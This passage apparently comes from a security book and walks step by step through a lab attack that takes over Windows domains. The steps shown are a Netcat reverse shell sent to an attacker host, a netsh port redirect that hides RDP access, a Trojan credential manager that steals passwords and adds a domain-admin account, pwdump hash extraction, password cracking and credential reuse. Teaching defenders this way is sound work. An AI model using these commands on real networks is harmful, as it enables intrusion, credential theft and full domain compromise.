Taking Over the Domain

Taking Over the Domain

Now we need to get down to the business of taking over the DMZ domain. Recall that so far we own the database server and the Web server, everything except the domain controller in fact. However, what have we really gained with the Web server? To find out, we need to start by uploading our tools to it and then get a remote command shell on that system just like we did on the database server. It is just a bit simpler now that we have an administrative SMB connection to the Web server. For example, we can now schedule a command or run a remote command utility to upload our warez to the Web server and execute them there. After we have done that, we run Netcat and pop back a remote shell to our attacker host just like we did with the Web server. We start by opening up a Netcat listener on port 12346 on the attacker host. Then we use System Internals excellent psexec tool to upload our warez to the Web server and execute our remote command:

 C:\warez\psexec \pyn-web -d c:\warez\nc -v -e cmd.exe attacker.external 12346 

This will generate a remove command shell from the Web server on our attacker, just like from the Web server.

The observant reader may have noticed by now that so far, if you do not count a very graphically deficient Web site, we have not seen so much as a dialog box. Frankly, many attackers ( ourselves included) prefer working with a command line because it is often more efficient for attacks However, with two machines compromised, the attacker may also access a graphical user interface (GUI), but will have to resort to some trickery to do so.

NOTE: It is quite comical really, we are two thirds of the way through this chapter, you are still reading, and we have not seen anything other than a bunch of command-line tools yet. That's an interesting statement on our profession, is it not?

The most obvious GUI connection is to use Windows Terminal Services (RDP). RDP listens on port 3389. A port scan of the database server reveals that it also has Terminal Services running:

 C:\warez>portscan 172.17.0.3 Port 172.17.0.3:135 open Port 172.17.0.3:139 open Port 172.17.0.3:445 open Port 172.17.0.3:1433 open Port 172.17.0.3:3389 open 

The problem is that we cannot just rebind Terminal Services to use that port. If we were to do that, it would be highly noticeable. Stealth is critical to attackers, so we have to do something else. That something else is a port redirector.

Recall that we only had two ports open on the firewall, 80 and 443. Also remember that there was nothing listening on port 443 on the Web server. If we needed to open a listener somewhere, that would be a great port to use. If only required ports are open in the firewall, the attacker would have to disrupt an existing service, however briefly , to set up a listener. However, if there are unused ports open in the firewall, we can set up a port redirector without disrupting operations and risk tipping off the legitimate administrators.

A port redirector takes traffic coming in on one port and directs it to another host on another port. In other words, we can set up a port redirector on the Web server that will take incoming traffic on port 443 and send it out to port 3389 on the database server. Breaking with the tradition of not shipping attack tools with the OS, Microsoft now ships a port redirector with IPv6:

[View full width]

 
 [View full width] 
 C:\warez>netsh interface portproxy add v4tov4 listenport=443 connectaddress=PYN-SQL  connectport=3389 

If IPv6 is installed, the netsh tool is extended to include a port proxy. This functionality is designed to map an IPv6 port to an IPv4 port (more correctly, a transport layer port on top of IPv6 to another transport layer port on IPv4) to enable IPv6 traversal on IPv4 networks.

If the compromised host does not have IPv6, the attacker would either need to install it or use a custom attack tool. Since the Web server has IPv6 in this case, however, we can use the built-in functionality. With that socket open, all we do is establish to the Web server connection using our ordinary Terminal Services client. Note that we tell the client to connect to the Web server, not to the database server. The port redirector takes care of forwarding our traffic to the database server.

 mstsc /v:www.victimsrus.com:443 

The result is easy to see in Figure 2-6. We can now log on with our _IDS user account. Once there, we have the full power of a GUI.

Figure 2-6. Obtaining a graphical shell is possible through a poorly configured firewall.

Going back to the Web server for a moment, we still do not know who the administrators are on that server because dumpinfo would not tell us. We can use the built-in tools to find out:

 C:\warez>net localgroup administrators Alias name     administrators Comment        Administrators have complete and unrestricted access to the computer/domain Members --------------------------------------------------------------- PYN-DMZ\_ids Administrator PYN-DMZ\Domain Admins The command completed successfully. 

This is actually highly interesting. There are not many accounts here. We only see the service account we have already found, the local Administrator, and the Domain Admins. That probably means that when they need to administer the system, the administrators use an account in the Domain Admins group . That is really good to know, because it opens the possibility of using a Trojan horse program to make one of those users take over the domain for us.

Trojans

Just as with viruses and worms, the security community is still arguing about the exact definition of a Trojan horse program, or Trojan for short. Rather than enter that debate, we use a working definition of Trojan as "a malicious program that is executed by a user, explicitly or inadvertently, in the course of the user's normal operations, and that has a clandestine effect in addition to what the user expects it to do." Trojans usually present some kind of functionality to users that they need, and then do something else in addition to that functionality.

Generally speaking, an attacker would rather use a direct attack because they give faster results. However, if all else fails, we will resort to a passive attack to accomplish our goal. A Trojan is one form of such an attack, and in this case, we are going to turn the logon process into a Trojan.

To do so, we use yet another custom tool. We will register it on the Web server (172.17.0.1) from our Terminal Services connection on the database server and set it up to notify our attacker, 192.168.2.112, as shown in Figure 2-7.

Figure 2-7. Registering a Trojan horse.

The Trojan is self-registering and installs itself in a couple of places. First, it installs a "credential manager." A credential manager may be legitimately used to connect to other systems using the credentials you logged on to this system with. Because it receives cleartext credentials to do this, it may be illegitimately used to capture cleartext passwords any time anyone logs on. Now consider this, what is the first thing the admin is likely to do if something seems amiss with a system? Far too often, the answer is "log on." As soon as that happens, the attacker gets this handy notification:

 C:\ >nc -l -p 80 Authentication Type=MSV1_0:Interactive Station Name=WinSta0 User=PYN-DMZ\Administrator Password="Test1234" 

In this case, the notification is going to the attacker host via port 80. We just set up Netcat on that host and told it to echo everything sent to it to the screen. This particular Trojan simply opens a socket to port 80 on the attacker's host and sends the notification to it. However, notifications could be encrypted, encoded, come over just about any port or protocol, and altered in myriad ways. Attackers often use Internet Relay Chat (IRC), for instance. We have also seen several Trojans that implement encryption of all notifications, although we have yet to see one that does a very good job on key exchange.

The Trojan also puts a link to itself in HKLM\Software\Microsoft\ Windows\CurrentVersion\Run. When it gets called, it determines whether the user logging on is a domain administrator. If so, the Trojan, which is now executing in the context of that user, creates a new user account on the domain and then adds that account to the Domain Admins group. (The credential manager runs as LocalSystem, and cannot perform this task, which is why this is done by the portion under the Run key instead.) If it was successful in creating the new user, it sends a notification to the attacker over the same notification channel used previously:

 Succeeded in adding a user. User: attacker$ Password: "Uare0wn3d!" Domain: PYN-DMZ DC: PYN-DMZ-DC 

Finally, the Trojan removes itself from the Run key to hide its tracks. All this happens while the administrator is logging on, and therefore is completely transparent to him.

Credential managers, as mentioned earlier, are used to connect transparently to other systems using the credentials you logged on to this system with. This is all part of that great panacea of system administrationsingle sign-on. However, if you change your password on this system, you also need to change it on the other system. Therefore, the credential manager can also synchronize passwords across systems, and it gets called on password change to do so. Now consider what the administrator would do if he suspected the system had been compromised and his password stolen? Changing the password seems like a good idea here, so he goes ahead and does that. The attacker now gets another notification:

 Password Change Type=MSV1_0:Interactive Station Name=WinSta0 User=PYN-DMZ\Administrator Old Password="Test1234" New Password="Test12345" 

Do we need to state it any more clearly than this? Once the bad guy can run code as a domain administrator, your network ain't your network any longer. That network is now completely untrustworthy .

WARNING: The instant you log on with domain administrative credentials to a compromised system, you give up the entire domain!

At this point, as shown in Figure 2-1c, the DMZ domain has fallen . We now have full access to the keeper of the keys to the kingdom. Those keys consist of, among other things, the user accounts database, which we will get to shortly, right after we pop back another remote command shell just like before.

Figure 2-1c. The DMZ domain controller has now been compromised.

As soon as the attacker takes over a domain controller, the first act is usually to extract all user accounts and password hashes from the domain controller. Because we have administrative privileges, doing so is a simple matter of running the very popular PWDump tool. Doing so results in output such as this:

 C:\warez>pwdump2.exe Administrator:500:624aac413795cdc1ff17365faf1ffe89:b9e0cfceaf6d077970306a2fd88a7c0a::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:28237c666e4bb3cc96d670cadca1593b::: SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:cd072175763b0d5b3fbb152f57b96e7c::: Alex:1106:daf058ae79085db217306d272a9441bb:c43325fdf77cafacf02f6e3eaa7f5020::: Bob:1107:1df8f06dcf78bb3aaad3b435b51404ee:2408f92ab284046ddcc6952755f449e2::: Cecil:1108:dbff4b96d021df2f93e28745b8bf4ba6:bbd9477810308a0b676f3cda91f10539::: Denise:1109:d278e69987353c4c837daf3f2ddd5ca3:2c67b571425751747e7ae379fefe9fcc::: Eric:1110:693de7f320aae76293e28745b8bf4ba6:fb853a32ccd2b92b43639b0e7d29e09d::: Fred:1111:ea03148efb24d7fc5be30f58d2a941d5:18cce97ee181d42be654133658723813::: George:1112:6c32f38de08f49f026f8092a33daaf05:a88b78471261477e26d9e4c11571b127::: Henry:1113:49901659efc5e1d6aad3b435b51404ee:d986300c7c0c33d3cc5417dbac6f90db::: Irene:1114:d6855d70abc371c2b77b4e7109416ab8:363c93e6be7a5cb001e7ad542c292f26::: ... 

Full details on how to interpret this output are available in Chapter 11. For now, it is sufficient to know that Windows by default stores two different password representations: the LM "hash" (which is not actually a hash) and the NT hash. From this output, we can tell that this system stores the LM hashes. (For information on how, turn to Chapter 11.) This is good (bad?) news because it is so much easier to crack those. Feeding this output into our favorite password cracker, we soon get output as shown in Table 2-2.

Table 2-2. Password Cracker Output

USERNAME	LANMAN PASSWORD	LESS THAN EIGHT	NTLM PASSWORD	CRACK TIME	CRACK METHOD
Alex	ARIA_DNE		aria_Dne	0d 16h 52m 34s	Brute Force
Bob	_WILLAA	x	_WillAA	0d 1h 16m 8s	Brute Force
Cecil	???????S
Denise	DECEMBE(R		deceMbe(r	0d 0h 0m 43s	Brute Force
Eric	SHIVE*RS		shiVe*rs	0d 22h 36m 14s	Brute Force
Fred	AMORP(HOUS		aMorp(hous	0d 10h 41m 50s	Brute Force
George	P+AINLESS		p+aiNless	0d 6h 18m 4s	Brute Force
Henry	COFFEE`	x	coffEe`	0d 0h 0m 1s	Hybrid
Irene	MICH~ELLE		micH~elle	0d 14h 30m 26s	Brute Force
Julie		x
Kurt	NY^QUIST		Ny^quist	0d 22h 56m 17s	Brute Force
Laura	F_ERMAT	x	f_ermAt	0d 23h 56m 21s	Brute Force
Maggie	FISHE)RS		fiShe)rs	0d 22h 39m 2s	Brute Force
Teddy	AMORP(HOUS		aMorp(hous	0d 10h 41m 50s	Brute Force
Mike	YOSEMITE^		yosemiTe^	0d 0h 0m 1s	Hybrid

As you can see from Table 2-2, within 24 hours we have cracked most of the passwords on this system; and these are not bad passwords! We cracked three in less than a minute. A real attacker may crack passwords even faster. Tools are available that trade off storage space for cracking speed, greatly decreasing crack time. For a full discussion, turn to Chapter 11.

While the crack is going on, we will continue with learning more about the network:

[View full width]

 
 [View full width] 
 C:\warez>ipconfig /all Windows IP Configuration    Host Name      . . . . . . . . . . .: PYN-DMZ-DC    Primary Dns Suffix     . . . . . . .: PYN-DMZ.LOCAL    Node Type      . . . . . . . . . . .: Unknown    IP Routing Enabled     . . . . . . .: Yes    WINS Proxy Enabled     . . . . . . .: No    DNS Suffix Search List     . . . . .: PYN-DMZ.LOCAL Ethernet adapter CorpNet:    Connection-specific DNS Suffix   . .    Description      . . . . . . . . . .: Intel 21140-Based PCI Fast Ethernet Adapter  (Generic) #2    Physical Address     . . . . . . . .: 00-03-FF-06-3E-F0    DHCP Enabled     . . . . . . . . . .: No    IP Address       . . . . . . . . . .: 10.1.2.16    Subnet Mask      . . . . . . . . . .: 255.255.255.0    Default Gateway      . . . . . . . .:    DNS Servers      . . . . . . . . . .: 172.17.0.2 Ethernet adapter DMZNet:    Connection-specific DNS Suffix  . :    Description      . . . . . . . . . .: Intel 21140-Based PCI Fast Ethernet Adapter (Generic)    Physical Address     . . . . . . . .: 00-03-FF-07-3E-F0    DHCP Enabled     . . . . . . . . . .: No    IP Address       . . . . . . . . . .: 172.17.0.2    Subnet Mask      . . . . . . . . . .: 255.255.255.0    Default Gateway      . . . . . . . .: 172.17.0.1    DNS Servers    . . . . . . . . . . .: 172.17.0.2 

This output is extremely interesting. The DC is not only dual-homed, it is dual- homed on the corporate network and the DMZ. This is sometimes done in order to be able to use user accounts from one domain in another. Regardless of the reasons, the corporate network is the ultimate target, so the attack proceeds by footprinting that network:

 C:\warez>discoverHosts 10.1.2 Reply from 10.1.2.16: bytes=32 time<1ms TTL=128 Reply from 10.1.2.17: bytes=32 time=54ms TTL=128 

16 is obviously the data center DC, but 17 is a new host that we have not seen before. Using another anonymous enumeration tool, we can get some more information on it:

 C:\warez>getSystemDetails 10.1.2.17 Name: PYN-CORPDC Domain: PYN OS Version: 5.2 Server details: Workstation service Server service Domain Controller NTP Time source 

17 is the domain controller we were looking for. We can tell that it is running Windows Server 2003, but not much else about it. Next we dump out the users:

 C:\warez>dumpinfo 10.1.2.17 The Administrator is:   PYN\Administrator Users on PYN-CORPDC: RID 1000        PYN\HelpServicesGroup   an Alias RID 1001        PYN\SUPPORT_388945a0    a User RID 1002        PYN\TelnetClients       an Alias RID 1003        PYN\PYN-CORPDC$ a User RID 1104        PYN\Aaron     a User RID 1105        PYN\Billy     a User RID 1106        PYN\Chuck    a User RID 1107        PYN\Dylan      a User RID 1108        PYN\Ellen     a User RID 1109        PYN\Frank      a User RID 1110        PYN\Tom     a User RID 1111        PYN\Dick       a User RID 1112        PYN\Harry       a User RID 1113        PYN\Ingrid   a User RID 1114        PYN\Jennifer    a User RID 1115        PYN\Maggie   a User RID 1116        PYN\Teddy   a User RID 1117        PYN\Mike   a User RID 1118        PYN\McKenzie   a User... Share           Type         Comment IPC$            Unknown      Remote IPC NETLOGON        Disk         Logon server share ADMIN$          Special      Remote Admin SYSVOL          Disk         Logon server share C$              Special      Default share Administrators: Unable to enumerate administrators ERROR: Access Denied 

This system has far more users than the other ones we have seen. (The output above has been truncated for brevity.) That is to be expected though, because this is the main corporate DC. We also find several users who also had accounts on the DMZ DC. In fact, there is one whose passwords we cracked in seconds. It is probably reasonable to expect that users who have administrative accounts in the DMZ also have administrative accounts in the corporate network, and the chances that they use the same password on both networks are usually really good. For these reasons, most attackers would probably just go try any duplicated accounts. So far the attack has been very stealthy, and if it does not work there will be a single failed logon, which is an acceptable risk in most cases.

 C:\warez>net use \pyn-corpdc\c$ /u:pyn\Mike "yosemiTe^" The command completed successfully. 

That's it. As shown in Figure 2-1d, this network has now been completely compromised!

Figure 2-1d. The entire network has now been compromised.

At this point the attacker could take whatever action is desired. Potential options would be to scavenge the network for data, steal confidential information, add him or herself to the payroll, use the network to attack some other network such as a business partner, and so on. The attacker now has complete and unrestricted access to the entire victimsrus.com network.